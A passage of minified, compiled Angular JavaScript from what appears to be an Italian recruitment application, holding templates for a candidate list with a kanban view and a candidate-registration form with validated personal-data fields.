left",1,"h-33","w-100",3,"model","placeholder","modelChange"],["class","form-group",4,"ngIf"],["type","text","placeholder","","required","",1,"form-control",3,"formControlName"],[1,"form-group__bar"],[1,"border-select",3,"items","multiple","bindLabel","bindValue","placeholder","formControlName"],["class","col-md-6",4,"ngIf"],[1,"color_9c"],["bindLabel","children_field.name","bindValue","children_field.name",1,"border-select",3,"items","placeholder","formControlName"],["cdkDropList","",1,"col-md-1","columnKanban","p-2","example-list",3,"cdkDropListData","cdkDropListDropped"],[1,"titleColumnKanban"],["class","row taskKanban p-2 mb-2 mx-1 example-box","cdkDrag","",3,"cdkDragDisabled",4,"ngFor","ngForOf"],["cdkDrag","",1,"row","taskKanban","p-2","mb-2","mx-1","example-box",3,"cdkDragDisabled"],[1,"col-md-12"],[1,"col-md-12","aggiornatoData"],["src","./assets/demo/img/profile-pics/6.jpg","alt","",1,"user__img"],[1,"col-md-6","text-right"],[1,"zmdi","zmdi-account"],[1,"zmdi","zmdi-edit"],[1,"no-result"],[1,"align-middle","text-left"],[1,"border-0"],[3,"href"],[1,"align-middle","text-left","d-none","d-md-table-cell"],[1,"align-middle","text-right"],[1,"m-0","p-0","w-100"],[1,"border-0","text-center"],["type","button",1,"btn","btn-info","active","text-center","btn-cube","mr-2",3,"routerLink","tooltip"],[1,"icon","zmdi","zmdi-edit"],["type","button","container","body",1,"btn","btn-danger","active","btn-cube","text-center",3,"tooltip","click"],[1,"icon","zmdi","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"header",0),z.Vb(1,"div",1),z.Vb(2,"h1",2),z.Vb(3,"b"),z.Ic(4),z.hc(5,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(6,"div",3),z.Vb(7,"div",4),z.Vb(8,"button",5),z.cc("click",function(){return t.showKanban=!t.showKanban}),z.Gc(9,P,1,0,"i",6),z.Gc(10,J,1,0,"i",7),z.Gc(11,q,3,3,"span",8),z.Gc(12,G,3,3,"span",8),z.Ub(),z.Ic(13," \xa0 "),z.Vb(14,"button",9),z.Qb(15,"i",10),z.Vb(16,"span",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ic(19," \xa0 "),z.Vb(20,"button",5),z.cc("click",function(){return t.showAdvBox()}),z.Qb(21,"i",12),z.Vb(22,"span",11),z.Ic(23),z.hc(24,"translate"),z.Ub(),z.Ub(),z.Ic(25," \xa0 "),z.Vb(26,"button",13),z.cc("click",function(){return t.exportExcel()}),z.Qb(27,"i",14),z.Vb(28,"span",15),z.Ic(29),z.hc(30,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Gc(31,ee,31,15,"div",16),z.Vb(32,"div",17),z.Vb(33,"div",18),z.Vb(34,"div",19),z.Vb(35,"div",20),z.Vb(36,"h4",21),z.Ic(37),z.hc(38,"translate"),z.Ub(),z.Ub(),z.Qb(39,"div",22),z.Ub(),z.Ub(),z.Ub(),z.Vb(40,"div",23),z.Gc(41,ie,5,7,"div",24),z.Ub(),z.Vb(42,"div",17),z.Vb(43,"div",18),z.Vb(44,"div",19),z.Vb(45,"div",20),z.Vb(46,"h4",21),z.Ic(47),z.hc(48,"translate"),z.Ub(),z.Ub(),z.Qb(49,"div",22),z.Ub(),z.Vb(50,"div",19),z.Vb(51,"div",25),z.Qb(52,"br"),z.Gc(53,ne,3,3,"div",26),z.Ub(),z.Ub(),z.Vb(54,"div",27),z.Vb(55,"div",28),z.Vb(56,"div",29),z.Vb(57,"table",30),z.Vb(58,"thead"),z.Vb(59,"tr"),z.Vb(60,"th",31),z.Ic(61),z.hc(62,"translate"),z.Ub(),z.Vb(63,"th",31),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Vb(66,"th",32),z.Ic(67),z.hc(68,"translate"),z.Ub(),z.Vb(69,"th",32),z.Ic(70),z.hc(71,"translate"),z.Ub(),z.Vb(72,"th",32),z.Ic(73),z.hc(74,"translate"),z.Ub(),z.Vb(75,"th",31),z.Ic(76),z.hc(77,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(78,"tbody"),z.Gc(79,ae,65,37,"tr",33),z.hc(80,"candidatesfilter"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(4),z.Jc(z.ic(5,23,"Candidati")),z.Cb(5),z.nc("ngIf",t.showKanban),z.Cb(1),z.nc("ngIf",!t.showKanban),z.Cb(1),z.nc("ngIf",t.showKanban),z.Cb(1),z.nc("ngIf",!t.showKanban),z.Cb(5),z.Jc(z.ic(18,25,"Nuovo Candidato")),z.Cb(6),z.Kc(" ",z.ic(24,27,t.labelBtnAdvSearch),""),z.Cb(6),z.Jc(z.ic(30,29,"Esporta")),z.Cb(2),z.nc("ngIf",t.showAdvBoxFlag),z.Cb(1),z.nc("hidden",!t.showKanban),z.Cb(5),z.Kc(" Kanban ",z.ic(38,31,"Candidati"),""),z.Cb(3),z.nc("hidden",!t.showKanban),z.Cb(1),z.nc("ngForOf",t.candidatesStatus),z.Cb(1),z.nc("hidden",t.showKanban),z.Cb(5),z.Kc(" ",z.ic(48,33,"Lista Candidati"),""),z.Cb(6),z.nc("ngIf",0==t.candidatesItems.length),z.Cb(8),z.Jc(z.ic(62,35,"Nome")),z.Cb(3),z.Jc(z.ic(65,37,"Contatti")),z.Cb(3),z.Jc(z.ic(68,39,"Job Title")),z.Cb(3),z.Jc(z.ic(71,41,"Status")),z.Cb(3),z.Jc(z.ic(74,43,"Need")),z.Cb(3),z.Jc(z.ic(77,45,"Azioni")),z.Cb(3),z.nc("ngForOf",z.kc(80,47,t.candidatesItems,t.advSearchForm,t.field_ricerca_avanzata)))},directives:[S.n,d.g,I.c,S.m,C.w,C.o,C.i,S.l,T.a,C.c,C.u,C.n,C.g,A.a,I.b,I.a,L.a],pipes:[E.c,K,S.e],styles:[".right[_ngcontent-%COMP%]{text-align:right}.div-right[_ngcontent-%COMP%]{float:right}.radius[_ngcontent-%COMP%]{border-radius:50%}table[_ngcontent-%COMP%]   tr[_ngcontent-%COMP%]:hover{background-color:#59748163;cursor:pointer}.icon[_ngcontent-%COMP%]{margin-right:0;margin-top:-4px}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}.mod-col[_ngcontent-%COMP%]{background-color:#343a40}.table[_ngcontent-%COMP%]{color:#000;width:500px}td[_ngcontent-%COMP%]{background-color:#fff}.paginate_button[_ngcontent-%COMP%]   .current[_ngcontent-%COMP%]{background-color:#343a40!important;color:#fff}.schoolArea[_ngcontent-%COMP%]{display:block;border:1px solid #b7b7b7;padding:3px 10px 5px 5px;background-color:#9d9e9e85}.table[_ngcontent-%COMP%]   .zui-sticky-col[_ngcontent-%COMP%]{border-left:1px solid #ddefef;right:0;position:absolute;top:auto;width:auto}.table[_ngcontent-%COMP%]   .zui-sticky-col2[_ngcontent-%COMP%]{border-right:1px solid #ddefef;left:140px;position:absolute;top:auto;width:70px}.button-search-adv-field[_ngcontent-%COMP%]{cursor:pointer}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]{padding:.3rem!important;font-size:1rem;color:#333;vertical-align:middle!important}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{text-overflow:ellipsis;white-space:nowrap;color:#8e9499;margin-bottom:0}.th-modis[_ngcontent-%COMP%]{vertical-align:middle!important}.thCustomWidth[_ngcontent-%COMP%]{width:110px}.columnKanban[_ngcontent-%COMP%]{min-height:600px;margin:5px;max-width:12.2857142857%!important;flex:0 0 12.2857142857%!important}.columnKanban[_ngcontent-%COMP%], .taskKanban[_ngcontent-%COMP%]{background-color:#fff;border-radius:3px}.taskKanban[_ngcontent-%COMP%]{box-shadow:1px 1px 3px;border:1px solid #d3d3d3;padding:5px}.titleColumnKanban[_ngcontent-%COMP%]{font-size:13.5px;text-transform:uppercase}.user__img[_ngcontent-%COMP%]{width:1.5rem;height:1.5rem;border-radius:50%;position:absolute;left:1rem;top:0;bottom:0;margin:auto}.example-container[_ngcontent-%COMP%]{width:400px;max-width:100%;margin:0 25px 25px 0;display:inline-block;vertical-align:top}.example-list[_ngcontent-%COMP%]{border:1px solid #ccc;min-height:60px;background:#fff;border-radius:4px;overflow:hidden;display:block}.example-box[_ngcontent-%COMP%]{border-bottom:1px solid #ccc;color:rgba(0,0,0,.87);display:flex;flex-direction:row;align-items:center;justify-content:space-between;box-sizing:border-box;cursor:move;background:#fff;font-size:14px}.cdk-drag-preview[_ngcontent-%COMP%]{box-sizing:border-box;border-radius:4px;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)}.cdk-drag-placeholder[_ngcontent-%COMP%]{opacity:0}.cdk-drag-animating[_ngcontent-%COMP%]{transition:transform .25s cubic-bezier(0,0,.2,1)}.example-box[_ngcontent-%COMP%]:last-child{border:none}.example-list.cdk-drop-list-dragging[_ngcontent-%COMP%]   .example-box[_ngcontent-%COMP%]:not(.cdk-drag-placeholder){transition:transform .25s cubic-bezier(0,0,.2,1)}.drop-zone[_ngcontent-%COMP%]{margin:40px}.customKanban[_ngcontent-%COMP%]{justify-content:center}.aggiornatoData[_ngcontent-%COMP%]{font-size:10px;color:#d3d3d3}.no-result[_ngcontent-%COMP%]{border:1px solid orange!important;background:#fbfbfb!important;color:#333!important;padding:10px;font-size:14px;text-align:center;margin:10px}.card-body__title[_ngcontent-%COMP%]{margin-bottom:0!important}"]}),oe),ce=r("/GDB"),le=r("bBYx"),se=r("9/yJ"),be=["mobilitazioneSelector"],de=function(e){return["form-control",e]};function me(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-datetime-manager",34),z.cc("modelChange",function(e){return z.Ac(i),z.gc()._form.controls.birth_date.value=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("model",n._form.controls.birth_date.value)("inputClass",z.rc(2,de,n.validateField("birth_date",n._form)))}}function ue(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",2),z.Vb(1,"h3",3),z.Ic(2),z.hc(3,"translate"),z.Vb(4,"label",4),z.Ic(5,"*"),z.Ub(),z.Ub(),z.Vb(6,"div",5),z.Vb(7,"app-datetime-manager",34),z.cc("modelChange",function(e){return z.Ac(i),z.gc()._form.controls.residency_validity.value=e}),z.Ub(),z.Qb(8,"i",7),z.Vb(9,"div",8),z.Ic(10),z.hc(11,"translate"),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=z.gc();z.Cb(2),z.Jc(z.ic(3,4,"Scadenza permesso di soggiorno")),z.Cb(5),z.nc("model",n._form.controls.residency_validity.value)("inputClass",z.rc(8,de,n.validateField("residency_validity",n._form))),z.Cb(3),z.Kc(" ",z.ic(11,6,"Inserire una data valida!")," ")}}var ge=function(){return["form-control"]};function pe(e,t){1&e&&(z.Vb(0,"div",2),z.Vb(1,"h3",3),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"div",5),z.Qb(5,"input",35),z.Qb(6,"i",7),z.Vb(7,"div",8),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.Kc("",z.ic(3,3,"Partita Iva")," "),z.Cb(3),z.nc("ngClass",z.qc(7,ge)),z.Cb(3),z.Kc(" ",z.ic(9,5,"Inserire una partita iva valida e correttamente formattata!")," "))}function fe(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",36),z.Ic(1),z.Vb(2,"i",37),z.cc("click",function(){z.Ac(i);var e=t.$implicit;return z.gc().onMobilitazioneRemove(e)}),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit;z.Cb(1),z.Kc("",n,"\xa0")}}var ve,he=function(e){return["form-control","border-select",e]},Ce=function(){return["form-control","border-select"]},Ve=((ve=function(e){i(o,e);var n=a(o);function o(e){var t;return b(this,o),(t=n.call(this,e,"FormGroup")).dropzoneCfgAnagrafica={url:x.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},t}return m(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({name:[null,[C.v.required,C.v.maxLength(30)]],surname:[null,[C.v.required,C.v.maxLength(30)]],need:[null],birth_date:[null],cdf:["",[C.v.maxLength(16),C.v.minLength(16),C.v.pattern("[a-zA-Z]{6}[0-9]{2}[a-zA-Z][0-9]{2}[a-zA-Z][0-9]{3}[a-zA-Z]")]],email:["",[C.v.required,C.v.email]],pec:["",[C.v.email]],cellular:["",[C.v.minLength(8),C.v.maxLength(32),C.v.pattern("[0-9() +-]+")]],jobtitle:[null],id_residence_state:[null],residency_validity:[null,[C.v.required]],piva:[null],status:["Contacted"],recruitmentSource:[null],gdpr:[!1,[C.v.requiredTrue]],mobilitazione:[[]],marketing_consent:[!1],is_piva:[!1],photo_profile:[null]})}},{key:"onMobilitazioneAdd",value:function(e){if(e&&e.name){var i=this._form.get("mobilitazione").value;0==i.filter(function(t){return t.name==e.name}).length&&(i instanceof Array?this._form.get("mobilitazione").setValue([].concat(t(i),[e.name])):this._form.get("mobilitazione").setValue([e.name]))}this.mobilitazioneSelector.handleClearClick()}},{key:"onMobilitazioneRemove",value:function(e){var t=this._form.get("mobilitazione").value.filter(function(t){return t!=e});this._form.get("mobilitazione").setValue(t)}},{key:"drop",value:function(e){Object(I.e)(this._form.get("mobilitazione").value,e.previousIndex,e.currentIndex)}}]),o}(le.a)).\u0275fac=function(e){return new(e||ve)(z.Pb(C.e))},ve.\u0275cmp=z.Jb({type:ve,selectors:[["app-candidate-insert-anagrafica"]],viewQuery:function(e,t){var i;1&e&&z.Mc(be,1),2&e&&z.wc(i=z.dc())&&(t.mobilitazioneSelector=i.first)},features:[z.zb],decls:158,vars:119,consts:[[3,"formGroup"],[1,"row"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","surname",3,"ngClass"],["placeholder","","mode","day","placement","bottom left",3,"model","inputClass","modelChange",4,"ngIf"],["type","text","formControlName","cdf",3,"ngClass"],["type","text","formControlName","email",3,"ngClass"],["type","text","formControlName","need",3,"ngClass"],["type","text","formControlName","pec",3,"ngClass"],["type","text","formControlName","cellular",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","jobtitle",3,"items","ngClass"],["bindLabel","nome","bindValue","nome","placeholder","","formControlName","id_residence_state",3,"items","markFirst","ngClass"],["class","col-md-6",4,"ngIf"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","is_piva",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"mb-1","form-group"],["bindLabel","name","bindValue","name","placeholder","",3,"items","ngClass","change"],["mobilitazioneSelector",""],["cdkDropList","","cdkDropListOrientation","horizontal",1,"my-4",3,"cdkDropListDropped"],["cdkDrag","","class","badge badge-light m-1 customBadge",4,"ngFor","ngForOf"],["bindLabel","status","bindValue","status","placeholder","","formControlName","status",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","recruitmentSource",3,"items","addTag","addTagText","ngClass"],["type","checkbox","formControlName","gdpr",1,"toggle-switch__checkbox"],["type","checkbox","formControlName","marketing_consent",1,"toggle-switch__checkbox"],[1,"col-md-12"],["placeholder","","mode","day","placement","bottom left",3,"model","inputClass","modelChange"],["type","text","formControlName","piva",3,"ngClass"],["cdkDrag","",1,"badge","badge-light","m-1","customBadge"],[1,"zmdi","zmdi-close",3,"click"]],template:function(e,t){1&e&&(z.Vb(0,"form",0),z.Vb(1,"div",1),z.Vb(2,"div",2),z.Vb(3,"h3",3),z.Ic(4),z.hc(5,"translate"),z.Vb(6,"label",4),z.Ic(7,"*"),z.Ub(),z.Ub(),z.Vb(8,"div",5),z.Qb(9,"input",6),z.Qb(10,"i",7),z.Vb(11,"div",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(14,"div",2),z.Vb(15,"h3",3),z.Ic(16),z.hc(17,"translate"),z.Vb(18,"label",4),z.Ic(19,"*"),z.Ub(),z.Ub(),z.Vb(20,"div",5),z.Qb(21,"input",9),z.Qb(22,"i",7),z.Vb(23,"div",8),z.Ic(24),z.hc(25,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(26,"div",2),z.Vb(27,"h3",3),z.Ic(28),z.hc(29,"translate"),z.Ub(),z.Vb(30,"div",5),z.Gc(31,me,1,4,"app-datetime-manager",10),z.Qb(32,"i",7),z.Ub(),z.Ub(),z.Vb(33,"div",2),z.Vb(34,"h3",3),z.Ic(35),z.hc(36,"translate"),z.Ub(),z.Vb(37,"div",5),z.Qb(38,"input",11),z.Qb(39,"i",7),z.Vb(40,"div",8),z.Ic(41),z.hc(42,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(43,"div",2),z.Vb(44,"h3",3),z.Ic(45),z.hc(46,"translate"),z.Vb(47,"label",4),z.Ic(48,"*"),z.Ub(),z.Ub(),z.Vb(49,"div",5),z.Qb(50,"input",12),z.Qb(51,"i",7),z.Vb(52,"div",8),z.Ic(53),z.hc(54,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(55,"div",2),z.Vb(56,"h3",3),z.Ic(57),z.hc(58,"translate"),z.Ub(),z.Vb(59,"div",5),z.Qb(60,"input",13),z.Qb(61,"i",7),z.Ub(),z.Ub(),z.Vb(62,"div",2),z.Vb(63,"h3",3),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Vb(66,"div",5),z.Qb(67,"input",14),z.Qb(68,"i",7),z.Vb(69,"div",8),z.Ic(70),z.hc(71,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(72,"div",2),z.Vb(73,"h3",3),z.Ic(74),z.hc(75,"translate"),z.Ub(),z.Vb(76,"div",5),z.Qb(77,"input",15),z.Qb(78,"i",7),z.Vb(79,"div",8),z.Ic(80),z.hc(81,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(82,"div",2),z.Vb(83,"h3",3),z.Ic(84),z.hc(85,"translate"),z.Ub(),z.Vb(86,"div",5),z.Qb(87,"ng-select",16),z.Qb(88,"i",7),z.Ub(),z.Ub(),z.Vb(89,"div",2),z.Vb(90,"h3",3),z.Ic(91),z.hc(92,"translate"),z.Ub(),z.Vb(93,"div",5),z.Qb(94,"ng-select",17),z.Qb(95,"i",7),z.Ub(),z.Ub(),z.Gc(96,ue,12,10,"div",18),z.Vb(97,"div",2),z.Vb(98,"h3",19),z.Ic(99),z.hc(100,"translate"),z.Ub(),z.Vb(101,"div",20),z.Vb(102,"div",21),z.Qb(103,"input",22),z.Qb(104,"i",23),z.Ub(),z.Ub(),z.Ub(),z.Gc(105,pe,10,8,"div",18),z.Vb(106,"div",2),z.Vb(107,"h3",3),z.Ic(108),z.hc(109,"translate"),z.Ub(),z.Vb(110,"div",24),z.Vb(111,"ng-select",25,26),z.cc("change",function(e){return t.onMobilitazioneAdd(e)}),z.Ub(),z.Qb(113,"i",7),z.Ub(),z.Vb(114,"div",27),z.cc("cdkDropListDropped",function(e){return t.drop(e)}),z.Gc(115,fe,3,1,"span",28),z.Ub(),z.Ub(),z.Vb(116,"div",2),z.Vb(117,"h3",3),z.Ic(118),z.hc(119,"translate"),z.Ub(),z.Vb(120,"div",5),z.Vb(121,"ng-select",29),z.Ic(122," >"),z.Ub(),z.Qb(123,"i",7),z.Ub(),z.Ub(),z.Vb(124,"div",2),z.Vb(125,"h3",3),z.Ic(126),z.hc(127,"translate"),z.Ub(),z.Vb(128,"div",5),z.Vb(129,"ng-select",30),z.hc(130,"translate"),z.Ic(131," >"),z.Ub(),z.Qb(132,"i",7),z.Ub(),z.Ub(),z.Vb(133,"div",2),z.Vb(134,"div",5),z.Vb(135,"h3",19),z.Ic(136),z.hc(137,"translate"),z.Ub(),z.Vb(138,"div",20),z.Vb(139,"div",21),z.Qb(140,"input",31),z.Qb(141,"i",23),z.Ub(),z.Ub(),z.Qb(142,"i",7),z.Ub(),z.Ub(),z.Vb(143,"div",2),z.Vb(144,"div",5),z.Vb(145,"h3",19),z.Ic(146),z.hc(147,"translate"),z.Ub(),z.Vb(148,"div",20),z.Vb(149,"div",21),z.Qb(150,"input",32),z.Qb(151,"i",23),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(152,"div",33),z.Vb(153,"div",5),z.Vb(154,"h3",3),z.Ic(155),z.hc(156,"translate"),z.Ub(),z.Qb(157,"app-file-manager"),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.nc("formGroup",t._form),z.Cb(4),z.Kc("",z.ic(5,48,"Nome")," "),z.Cb(5),z.nc("ngClass",z.rc(96,de,t.validateField("name",t._form))),z.Cb(3),z.Kc("",z.ic(13,50,"Il nome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),z.Cb(4),z.Kc("",z.ic(17,52,"Cognome")," "),z.Cb(5),z.nc("ngClass",z.rc(98,de,t.validateField("surname",t._form))),z.Cb(3),z.Kc(" ",z.ic(25,54,"Il cognome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),z.Cb(4),z.Kc("",z.ic(29,56,"Data di Nascita")," "),z.Cb(3),z.nc("ngIf",t._form.controls.birth_date),z.Cb(4),z.Kc("",z.ic(36,58,"Codice Fiscale")," "),z.Cb(3),z.nc("ngClass",z.rc(100,de,t.validateField("cdf",t._form))),z.Cb(3),z.Kc(" ",z.ic(42,60,"Il codice fiscale \xe8 composto da 16 caratteri e deve essere correttamente formattato!")," "),z.Cb(4),z.Kc("",z.ic(46,62,"Email")," "),z.Cb(5),z.nc("ngClass",z.rc(102,de,t.validateField("email",t._form))),z.Cb(3),z.Kc(" ",z.ic(54,64,"La mail \xe8 obbligatoria e deve essere correttamente formattata!")," "),z.Cb(4),z.Jc(z.ic(58,66,"Need")),z.Cb(3),z.nc("ngClass",z.rc(104,de,t.validateField("need",t._form))),z.Cb(4),z.Kc("",z.ic(65,68,"Pec")," "),z.Cb(3),z.nc("ngClass",z.rc(106,de,t.validateField("pec",t._form))),z.Cb(3),z.Kc(" ",z.ic(71,70,"La PEC deve essere correttamente formattata!")," "),z.Cb(4),z.Kc("",z.ic(75,72,"Cellulare")," "),z.Cb(3),z.nc("ngClass",z.rc(108,de,t.validateField("cellular",t._form))),z.Cb(3),z.Kc(" ",z.ic(81,74,"Il numero di telefono deve contenere solo numeri!")," "),z.Cb(4),z.Jc(z.ic(85,76,"Job Title")),z.Cb(3),z.nc("items",t.options.jobTitleOption)("ngClass",z.rc(110,he,t.validateField("jobtitle",t._form))),z.Cb(4),z.Jc(z.ic(92,78,"Nazione di residenza")),z.Cb(3),z.nc("items",t.options.nationOptions)("markFirst",!0)("ngClass",z.rc(112,he,t.validateField("id_residence_state",t._form))),z.Cb(2),z.nc("ngIf",t._form.controls.id_residence_state&&t._form.controls.id_residence_state.value&&"Italia"!==t._form.controls.id_residence_state.value),z.Cb(3),z.Kc("",z.ic(100,80,"Ha Partita Iva")," "),z.Cb(6),z.nc("ngIf",t._form.controls.is_piva&&t._form.controls.is_piva.value),z.Cb(3),z.Kc("",z.ic(109,82,"Disponibilt\xe0 Geografica")," "),z.Cb(3),z.nc("items",t.options.mobilitazioneOptions)("ngClass",z.qc(114,Ce)),z.Cb(4),z.nc("ngForOf",t._form.get("mobilitazione").value),z.Cb(3),z.Kc("",z.ic(119,84,"Status")," "),z.Cb(3),z.nc("items",t.options.statusOptions)("ngClass",z.rc(115,he,t.validateField("status",t._form))),z.Cb(5),z.Kc("",z.ic(127,86,"Fonte di reclutamento")," "),z.Cb(3),z.nc("items",t.options.recruitmentOptions)("addTag",!0)("addTagText",z.ic(130,88,"Premi invio per aggiungere il nuovo valore"))("ngClass",z.rc(117,he,t.validateField("recruitmentSource",t._form))),z.Cb(7),z.Kc("",z.ic(137,90,"GDPR")," "),z.Cb(10),z.Kc("",z.ic(147,92,"Consenso Marketing")," "),z.Cb(9),z.Jc(z.ic(156,94,"Foto del profilo")))},directives:[C.w,C.o,C.i,C.c,C.n,C.g,S.l,S.n,A.a,C.a,I.b,S.m,se.a,T.a,I.a],pipes:[E.c],styles:[".customBadge[_ngcontent-%COMP%]{cursor:default}.customBadge[_ngcontent-%COMP%]   i.zmdi[_ngcontent-%COMP%]{cursor:pointer;font-weight:600;padding-left:.5em}"]}),ve),Ue=r("S8xs");function _e(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",34),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",35),z.Ub()}}var Ie=function(e){return["form-control",e]};function ye(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",20),z.Vb(1,"h3",17),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"div",18),z.Vb(5,"app-datetime-manager",36),z.cc("modelChange",function(e){return z.Ac(i),z.gc().$implicit.controls.dateAttainment.value=e}),z.Ub(),z.Qb(6,"i",29),z.Ub(),z.Ub()}if(2&e){var n=z.gc().$implicit,a=z.gc();z.Cb(2),z.Kc("",z.ic(3,3,"Data Conseguimento")," "),z.Cb(3),z.nc("model",n.controls.dateAttainment.value)("inputClass",z.rc(5,Ie,a.validateField("dateAttainment",n)))}}function xe(e,t){1&e&&(z.Vb(0,"div",20),z.Vb(1,"h3",24),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"div",25),z.Vb(5,"div",26),z.Qb(6,"input",37),z.Qb(7,"i",28),z.Ub(),z.Ub(),z.Qb(8,"i",29),z.Ub()),2&e&&(z.Cb(2),z.Kc("",z.ic(3,1,"Con lode")," "))}var Oe=function(e){return["form-control","border-select",e]};function ze(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",12),z.Vb(6,"span",13),z.Qb(7,"i",14),z.Ub(),z.Gc(8,_e,2,0,"span",15),z.Ub(),z.Ub(),z.Vb(9,"div",16),z.Vb(10,"div",1),z.Vb(11,"h3",17),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",18),z.Vb(15,"ng-select",19),z.cc("change",function(e){z.Ac(i);var n=t.index;return z.gc().selectSchool(e,n)})("search",function(e){z.Ac(i);var n=t.index;return z.gc().filtraScuole(e,n)}),z.hc(16,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(17,"div",20),z.Vb(18,"h3",17),z.Ic(19),z.hc(20,"translate"),z.Ub(),z.Vb(21,"div",18),z.Qb(22,"ng-select",21),z.hc(23,"translate"),z.Ub(),z.Ub(),z.Vb(24,"div",20),z.Vb(25,"h3",17),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",18),z.Qb(29,"ng-select",22),z.hc(30,"translate"),z.Ub(),z.Ub(),z.Vb(31,"div",20),z.Vb(32,"h3",17),z.Ic(33),z.hc(34,"translate"),z.Ub(),z.Vb(35,"div",18),z.Qb(36,"ng-select",23),z.hc(37,"translate"),z.Ub(),z.Ub(),z.Vb(38,"div",20),z.Vb(39,"div",18),z.Vb(40,"h3",24),z.Ic(41),z.hc(42,"translate"),z.Ub(),z.Vb(43,"div",25),z.Vb(44,"div",26),z.Qb(45,"input",27),z.Qb(46,"i",28),z.Ub(),z.Ub(),z.Qb(47,"i",29),z.Ub(),z.Ub(),z.Gc(48,ye,7,7,"div",30),z.Vb(49,"div",20),z.Vb(50,"h3",17),z.Ic(51),z.hc(52,"translate"),z.Ub(),z.Vb(53,"div",18),z.Qb(54,"input",31),z.Ub(),z.Ub(),z.Gc(55,xe,9,3,"div",30),z.Vb(56,"div",20),z.Vb(57,"h3",17),z.Ic(58),z.hc(59,"translate"),z.Ub(),z.Vb(60,"div",18),z.Qb(61,"ng-select",32),z.Ub(),z.Ub(),z.Vb(62,"div",20),z.Vb(63,"h3",17),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Vb(66,"div",18),z.Qb(67,"ng-select",33),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=t.index,o=z.gc();z.Cb(3),z.Kc(" ",n.controls.prof_educ_name.value?n.controls.prof_educ_name.value+" "+n.controls.prof_educ_level.value:z.ic(4,34,"Istruzione")+" #"+(a+1)," "),z.Cb(5),z.nc("ngIf",o._form.length>1),z.Cb(1),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(13,36,"Nome dell'Istituto")," "),z.Cb(3),z.nc("items",o.options.schoolsFiltered[a])("addTag",!0)("addTagText",z.ic(16,38,"Premi invio per aggiungere il nuovo valore"))("ngClass",z.rc(60,Oe,o.validateField("istruction_school",n))),z.Cb(4),z.Jc(z.ic(20,40,"Tipologia")),z.Cb(3),z.nc("items",o.options.educOptions)("ngClass",z.rc(62,Oe,o.validateField("prof_educ_name",n)))("addTag",!0)("addTagText",z.ic(23,42,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(27,44,"Livello")," "),z.Cb(3),z.nc("items",o.options.educLevelOptions)("ngClass",z.rc(64,Oe,o.validateField("prof_educ_level",n)))("addTag",!0)("addTagText",z.ic(30,46,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(34,48,"Titolo di studio")," "),z.Cb(3),z.nc("items",o.options.educTitlesOptions)("ngClass",z.rc(66,Oe,o.validateField("prof_educ_title",n)))("addTag",!0)("addTagText",z.ic(37,50,"Premi invio per aggiungere il nuovo valore")),z.Cb(5),z.Kc("",z.ic(42,52,"Titolo Conseguito")," 